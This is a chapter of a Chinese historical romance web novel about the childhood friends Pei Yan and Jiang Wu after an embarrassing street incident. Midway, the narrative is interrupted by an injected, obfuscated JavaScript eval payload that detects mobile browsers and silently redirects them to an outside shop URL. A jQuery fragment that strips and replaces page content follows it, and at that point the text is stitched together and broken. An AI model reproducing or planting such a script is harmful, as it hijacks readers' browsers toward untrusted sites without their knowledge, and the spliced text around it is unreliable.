裴府坐落在崇仁坊东南隅,五进院落,飞檐斗拱。
裴砚穿过九曲回廊时,脚步比平日快了些许。廊下悬挂的青铜风铃轻响,叮叮咚咚,像在嘲笑他方才的狼狈。
经过莲池,他瞥见水中倒影——青衫整齐,玉冠端正,依旧是那个雅正端方的裴大公子。
他却感觉,有什么东西不一样了。
踏进书房,他轻轻合上雕花木门,将侍从都屏退在外。室内静谧,唯有博山炉中青烟袅袅,檀香淡淡。
裴砚在屋里踱步几个来回,才在书案前站定,低头看向自己的裤子。
素青杭绸,平整如初。
可他眼前却浮现出那双小手死死攥着裤脚的模样,耳边仿佛又听见布料滑落的窸窣声。
“荒唐。”
他低声自语,摇了摇头。
脸上忽然烧了起来。从耳根到脖颈,一片滚烫。他伸手摸了摸脸颊,指尖冰凉,面上却热得骇人。
铜镜就在书案旁,他侧目瞥了一眼——镜中少年面红如血,哪还有半分方才街上的淡然?
他闭上眼。
君子当喜怒不形于色。
父亲的话又在心头响起。他强迫自己平静,可心跳如擂鼓,怎么也压不下去。半晌,脸上的红潮才渐渐褪去。
就在这时,袖袋中有什么东西硌了一下。
裴砚微微一怔,伸手探入袖中,摸到一颗圆润的硬物。他摊开掌心,是一颗琉璃弹珠。
阳光透过雕花窗棂洒落,正照在弹珠上。赤橙黄绿青蓝紫,七彩光芒在珠内流转,璀璨夺目。珠子不大,表面还沾着些许尘土。
他弯腰提裤时,竟鬼使神差地,顺手捡了这么一颗。
为何要捡?
裴砚自己也说不清。
他将弹珠高高举起,对着窗外的落日余晖。霞光透过琉璃,在他掌心投下一片斑斓光影。那光斑轻轻晃动,像极了姜妩笑起来时眼里闪烁的光——顽劣,鲜活,不受拘束。
他看了许久,久到夕阳又沉下去几分,室内渐渐昏暗。
终于,裴砚走到书架前,取下最上层一个紫檀木盒。盒子小巧,雕工精细,锁扣是小小的鎏金如意头。
他打开铜锁,掀开盒盖,将琉璃弹珠放入,合上盖子,重新落锁。钥匙很小,黄铜质地,硌得他掌心生疼。
窗外传来归鸟啼鸣。
裴砚将钥匙放入怀中暗袋,转身走回书案前,铺纸研墨,仿佛一切如常。
消息传得比风还快。
不过半日,整个长安城有头有脸的人家,都知道了裴家大公子当街被扒裤子的事。版本越传越离谱,有说姜家丫头是故意的,有说裴砚当场气晕过去,还有说姜将军提着鞭子满街追女儿。
姜家,正堂。
姜妩跪在青砖地上,眼泪早就糊了满脸。她高高举着两只小手,掌心朝上,已经红肿不堪。
“阿爷,我错了,我真错了……”她哭得上气不接下气,羊角辫散了半边,门牙漏风,说话都漏气,“我就是想逗逗砚哥哥,没想、没想……”
“没想什么?!”姜震又是一鞭落下,藤条破空声尖锐。
“啪!”
姜妩“嗷”一嗓子叫出来,手心火辣辣地疼,眼泪鼻涕一起流:“啊啊啊疼!阿爷你别打了,我这就去给砚哥哥磕头道歉,我给他当牛做马,我……”
“人家砚哥儿才不稀罕!”姜震气得胡子都在抖,将藤条往地上一摔,“裴家刚才来人传话,裴砚跟着他父亲离京办事去了,马不停蹄走的!你说说,这是为什么?啊?”
姜妩愣住,泪珠挂在睫毛上,要掉不掉。
她慢慢低下头,看着自己红肿的掌心,声音小得像蚊子哼:“他往后……是不是再不愿见我了?”
姜震看着她这副模样,心头火气消了三分,剩下的七分全是无奈。他背过身去,重重叹了口气:“正好!我的老脸,在他父亲面前都丢光了!从今日起,你给我闭门思过,哪儿也不许去。”说完,大步走出正堂,靴子踏在地上咚咚作响。
堂内只剩下姜妩一个人。
她跪在地上,鼻尖红红的,肩膀一耸一耸地抽气。月光从门缝里溜进来,在地上拉出一道长长的光斑。
她伸出红肿的手,想去抓那光。指尖刚触及,它就溜走了。
次日,姜妩的小院。
李玄明拉着一个十岁左右的姑娘,蹑手蹑脚地溜进月洞门。小姑娘穿着淡粉襦裙,梳着双丫髻,眉眼温婉,手里还抱着一卷书。
“阿妩,阿妩!”李玄明压低声音喊,“你看我把谁带来了?”
院里葡萄架下搭了张石桌,七月暑气正盛,架上藤叶密密匝匝遮了日头,漏下几缕晃眼的光。姜妩趴在桌上,半边脸埋进手臂里,也不知是热的还是懒的。听见喊声,她慢吞吞抬起眼皮,目光落在林晚棠身上,嘴角动了动,算是笑过了。
林晚棠轻步上前,将书卷放在石桌上,温声道:“阿妩妹妹,昨日之事我已听说了。你莫要太过自责,圣人云:‘人非圣贤,孰能无过?过而能改,善莫大焉。’”
姜妩眨眨眼,没说话。
见她没反应,林晚棠以为她没听懂,便又引经据典:“《诗经》有云:‘靡不有初,鲜克有终。’意思是说,人人都有好的开端,但很少能坚持到底。你与裴大哥自幼相识,情谊深厚,岂因一时之失而断绝?”
姜妩的脸拉得更长了。
李玄明在一旁急得挤眉弄眼,连连摆手,示意林晚棠别说了。可她压根没瞧见,继续道:“再者,《礼记》曰:‘君子之过也,如日月之食焉。过也,人皆见之;更也,人皆仰之。’裴大哥是君子,定会……”
“阿姊。”姜妩忽然开口。
林晚棠停下,温柔地看着她:“嗯?”
姜妩坐直身子,一拍石桌:“你说得对!”
林晚棠一愣。
李玄明也愣住了。
姜妩眼睛亮了起来,方才的颓唐一扫而空:“虽然我听不懂你说的这些,但我觉得你说得对!砚哥哥是君子,君子……君子那个什么来着?”
她挠挠头,努力回想林晚棠刚才的话。
林晚抿了抿唇,有些不好意思地笑了:“我是说,裴大哥不会真的生你气。”
姜妩站起来,双手叉腰,门牙漏风却气势十足,“我姜妩敢作敢当!等他回京,我就背着树枝去认错,到时候折一根最大的!”
树上有蝉在叫,吱呀吱呀。
李玄明凑过来,小声道:“阿妩,那叫‘负荆请罪’,不过裴砚那家伙看着好说话,其实记仇得很……”说完,他拿起桌上的甜瓜开始啃。
“那你说……”她声音瞬间又蔫下去,“他该不会真讨厌我了吧?”
他闻言吐出几颗籽,含糊道:“咱们几个里头,那小子对你容忍度最高了,你自个儿心里没数?”
姜妩抬眼看他。
“你抢他的笔,在他刚写好的宣纸上画王八,他读书时你在边上扯着嗓子唱曲儿,他下棋时你在棋盘上撒弹珠……”李玄明掰着手指头数,甜瓜汁水顺着下巴往下淌,“哪回他不是皱眉忍了?”
林晚在一旁细声补充:“还有去年春猎,你将裴大哥的箭筒偷偷换成了一筒芦苇杆,害他空手而归。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450114|201162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她挠挠头,苦笑一声。
李玄明拿袖子擦了擦嘴,“记不记得前年冬天,你把他那方宝贝歙砚给磕了个角?”
姜妩一怔。
记忆倏地涌上来——那年雪很大,她抱着暖炉溜进裴砚的书房,非要看他的歙砚。可她手滑,暖炉脱手,正好砸在砚台上。
李玄明声音又响起,“那砚台是他祖父留下的遗物。”
姜妩记得,当时裴砚盯着那磕坏的砚角,半晌没说话。书房里静得能听见雪落屋檐的声音。她哆哆嗦嗦说“对不起”,裴砚却只是摆摆手,说“没事”,然后将她推了出去。
“那回,他是真生气了。”李玄明总结道,“可后来不也没怪你?还让我别告诉你那砚台的来历。”
她低下头,手指紧紧攥着,叹道:“这次不一样……我瞧见不该瞧的了……”
半晌,她似是下定了什么决心,一扬下巴,咬牙道:“大不了,也让他扒我一回便是!”
“……”
李玄明张了张嘴,半天没说出话。林晚棠以袖掩面,肩头轻颤,想笑又不敢笑。
夕阳西下,三人说笑的影子交织在一起。院墙外传来更夫敲梆子的声音,悠悠荡荡,飘过长安城千家万户的屋檐。
而百里之外,官道上,一辆青篷马车正缓缓前行。
车帘挑起,裴砚望着窗外渐暗的天色,忽然没来由地打了个喷嚏。
“着凉了?”身旁的裴父抬眼看他。
“不曾。”裴砚放下车帘,端正坐好,“许是…风大。”
裴章搁下手中的书册,抬手捋了捋胡须,目光落在对面正襟危坐的儿子身上。
“阿妩那孩子…”他开口,声音平稳,“性子是跳脱了些,可本性不坏。昨日之事,你莫要太过责怪她。”
裴砚垂着眼,烛光在他睫毛下投出一小片阴影。他手指微微蜷缩了一下,随即又松开。
“嗯。”他应了一声,声音淡淡的。
裴章看他这副模样,心下明了他嘴上不说,心里怕是还别扭着。他摇摇头,换了个话头:“此次滁州水患的赈灾事宜,朝廷下得急,催得也紧。这几日我这心里,总是七上八下的。”
“你却偏要跟来。路上颠簸不说,到了地方也是忙乱,怕是要吃苦头。”
裴砚抬起头,烛光映在他墨黑的瞳仁里:“父亲放心,孩儿定当安分守己,绝不给您添乱。”
“添乱?”裴章失笑,“你从小到大,何时添过乱?”
他话中有话,裴砚听出来了,耳根微微发热。
马车又是一颠,案几上的茶盏轻轻磕碰。裴章伸手扶稳,终是叹了口气:“罢了,来都来了。这一路上,你也多看多听,民生疾苦,光在书斋里读是读不明白的。”
“是。”裴砚应道,背脊挺得像一杆青竹。
车外传来马夫扬鞭的脆响,马蹄声嘚嘚,一路向南。裴砚的目光落在晃动的车帘缝隙间,外头是深蓝的夜空,星子还未全亮。
同一片暮色下,姜妩的小院里却是另一番光景。
夜风穿过月洞门,带来夏日草木的气息,混着远处厨房飘来的淡淡炊烟。
两个小伙伴早已告辞离去,姜妩独自坐在石桌前,盯着前方那盏摇曳的灯。飞蛾扑上来,撞在纱罩上,发出细微的噗噗声。
缺了牙的地方空落落的,漏风。心里也空落落的,像破了个洞。
她抬头看天,墨蓝的夜空里,星子渐渐密了。最亮的那颗在东南方,一闪一闪,像极了裴砚沉默的眼睛。
滁州在哪个方向来着?
她忽然很想知道。